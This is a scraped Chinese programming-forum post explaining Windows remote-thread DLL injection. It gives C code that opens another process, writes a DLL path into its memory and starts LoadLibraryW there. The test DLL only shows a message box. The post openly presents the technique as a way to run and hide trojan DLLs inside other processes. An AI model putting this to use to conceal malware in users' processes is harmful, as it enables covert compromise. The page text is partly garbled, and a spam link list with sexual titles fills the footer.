<dfn id="is4kg"></dfn>
  • <ul id="is4kg"></ul>
  • <abbr id="is4kg"></abbr>
  • <ul id="is4kg"></ul>
    <bdo id="is4kg"></bdo>

    曙海教育集團論壇開發(fā)語言培訓(xùn)專區(qū)VB語言 → 用vb和c語言來進行遠(yuǎn)程線形技術(shù)


      共有7926人關(guān)注過本帖樹形打印

    主題:用vb和c語言來進行遠(yuǎn)程線形技術(shù)

    美女呀,離線,留言給我吧!
    wangxinxin
      1樓 個性首頁 | 博客 | 信息 | 搜索 | 郵箱 | 主頁 | UC


    加好友 發(fā)短信
    等級:青蜂俠 帖子:1393 積分:14038 威望:0 精華:0 注冊:2010-11-12 11:08:23
    用vb和c語言來進行遠(yuǎn)程線形技術(shù)  發(fā)帖心情 Post By:2010-12-14 14:39:24


    遠(yuǎn)程線程技術(shù)指的是通過在另一個進程中創(chuàng)建遠(yuǎn)程線程的方法進入那個進程的內(nèi)存地址空間。我們知道,在進程中,可以通過CreateThread函數(shù)創(chuàng)建線程,被創(chuàng)建的新線程與主線程(就是進程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。 但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內(nèi)創(chuàng)建新線程,被創(chuàng)建的遠(yuǎn)程線程同樣可以共享遠(yuǎn)程進程(是遠(yuǎn)程進程耶!)的地址空間,所以,實際上,我們通過一個遠(yuǎn)程線程,進入了遠(yuǎn)程進程的內(nèi)存地址空間,也就擁有了那個遠(yuǎn)程進程相當(dāng)?shù)臋?quán)限。例如在遠(yuǎn)程進程內(nèi)部啟動一個DLL木馬(與進入進程內(nèi)部相比,啟動一個DLL木馬是小意思,實際上我們可以隨意篡改那個遠(yuǎn)程進程的數(shù)據(jù))。

      首先,我們通過OpenProcess 來打開我們試圖嵌入的進程(如果遠(yuǎn)程進程不允許打開,那么嵌入就無法進行了,這往往是由于權(quán)限不足引起的,解決方法是通過種種途徑提升本地進程的權(quán)限) 

     hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | file://允許遠(yuǎn)程創(chuàng)建線程 
                    PROCESS_VM_OPERATION | file://允許遠(yuǎn)程VM操作 
                    PROCESS_VM_WRITE,//允許遠(yuǎn)程VM寫 
                    FALSE, dwRemoteProcessId ) 

      由于我們后面需要寫入遠(yuǎn)程進程的內(nèi)存地址空間并建立遠(yuǎn)程線程,所以需要申請足夠的權(quán)限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。 

      然后,我們可以建立LoadLibraryW函數(shù)這個線程來啟動我們的DLL木馬,LoadLibraryW函數(shù)是在kernel32.dll中定義的,用來加載DLL文件,它只有一個參數(shù),就是DLL文件的絕對路徑名pszLibFileName,(也就是木馬DLL的全路徑文件名),但是由于木馬DLL是在遠(yuǎn)程進程內(nèi)調(diào)用的,所以我們首先還需要將這個文件名復(fù)制到遠(yuǎn)程地址空間:(否則遠(yuǎn)程線程是無法讀到這個參數(shù)的) 

     file://計算DLL路徑名需要的內(nèi)存空間 
     int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR); 
     file://使用VirtualAllocEx函數(shù)在遠(yuǎn)程進程的內(nèi)存地址空間分配DLL文件名緩沖區(qū) 
     pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, 
                MEM_COMMIT, PAGE_READWRITE); 
     file://使用WriteProcessMemory函數(shù)將DLL的路徑名復(fù)制到遠(yuǎn)程進程的內(nèi)存空間 
     iReturnCode = WriteProcessMemory(hRemoteProcess, 
                pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL); 
     file://計算LoadLibraryW的入口地址 
     PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) 
         GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); 

      萬事俱備,我們通過建立遠(yuǎn)程線程時的地址pfnStartAddr(實際上就是LoadLibraryW的入口地址)和傳遞的參數(shù)pszLibFileRemote(實際上是我們復(fù)制過去的木馬DLL的全路徑文件名)在遠(yuǎn)程進程內(nèi)啟動我們的木馬DLL: 

     file://啟動遠(yuǎn)程線程LoadLibraryW,通過遠(yuǎn)程線程調(diào)用用戶的DLL文件 
     hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, 
                     pfnStartAddr, pszLibFileRemote, 0, NULL); 

      至此,遠(yuǎn)程嵌入順利完成,為了試驗我們的DLL是不是已經(jīng)正常的在遠(yuǎn)程線程運行,我編寫了以下的測試DLL: 

     BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved) 
       { 
        char szProcessId[64] ; 
        switch ( reason ) 
         { 
          case DLL_PROCESS_ATTACH: 
           { 
             file://獲取當(dāng)前進程ID 
             _itoa ( GetCurrentProcessId(), szProcessId, 10 ); 
             MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK ); 
           } 
          default: 
          return TRUE; 
         } 
       } 

      當(dāng)我使用RmtDll.exe程序?qū)⑦@個TestDLL.dll嵌入Explorer.exe進程后(PID=1208),該測試DLL彈出了1208字樣的確認(rèn)框,同時使用PS工具也能看到 

       Process ID: 1208 
       C:WINNTExplorer.exe (0x00400000) 
       …… 
       C:TestDLL.dll (0x100000000) 
       …… 

      這證明TestDLL.dll已經(jīng)在Explorer.exe進程內(nèi)正確地運行了。 

      無論是使用特洛伊DLL還是使用遠(yuǎn)程線程,都是讓木馬的核心代碼運行于別的進程的內(nèi)存空間,這樣不僅能很好地隱藏自己,也能更好的保護自己。


    支持(0中立(0反對(0單帖管理 | 引用 | 回復(fù) 回到頂部

    返回版面帖子列表

    用vb和c語言來進行遠(yuǎn)程線形技術(shù)








    簽名
    主站蜘蛛池模板: 日韩毛片免费看| 高h视频免费观看| 日本一区二区三区精品视频| 亚洲精品国精品久久99热| 美女的尿口免费看软件| 国产精品揄拍100视频| 三人交bangbangbang| 日韩在线观看第一页| 亚洲精品亚洲人成在线观看| 久久青草精品38国产免费| 2019天天干夜夜操| 天天影视综合网色综合国产| 久久免费区一区二区三波多野| 欧洲美女与动zooz| 人人爽人人爽人人片av| 精品国产一区在线观看| 国产成人一区二区三区精品久久| 99精品众筹模特自拍视频| 性无码专区无码| 久久精品无码一区二区日韩av| 欧美亚洲国产精品久久久久| 免费看日b视频| 美女扒开裤子让男人桶视频| 国产无套粉嫩白浆在线| A级毛片无码久久精品免费| 年轻帅主玩奴30min视频| 久久精品日日躁夜夜躁欧美 | 老子影院午夜伦不卡| 国产真人无遮挡作爱免费视频| a级毛片黄免费a级毛片| 好大好硬使劲脔我爽视频| 久久久久国产成人精品| 日韩在线观看高清| 亚洲国产欧美视频| 欧美浓毛大泬视频| 免费一级毛片在播放视频| 精品久久久久久亚洲精品| 国产丝袜一区二区三区在线观看| 青青青国产在线视频| 国产精品一区二区久久| 97久久精品人人澡人人爽|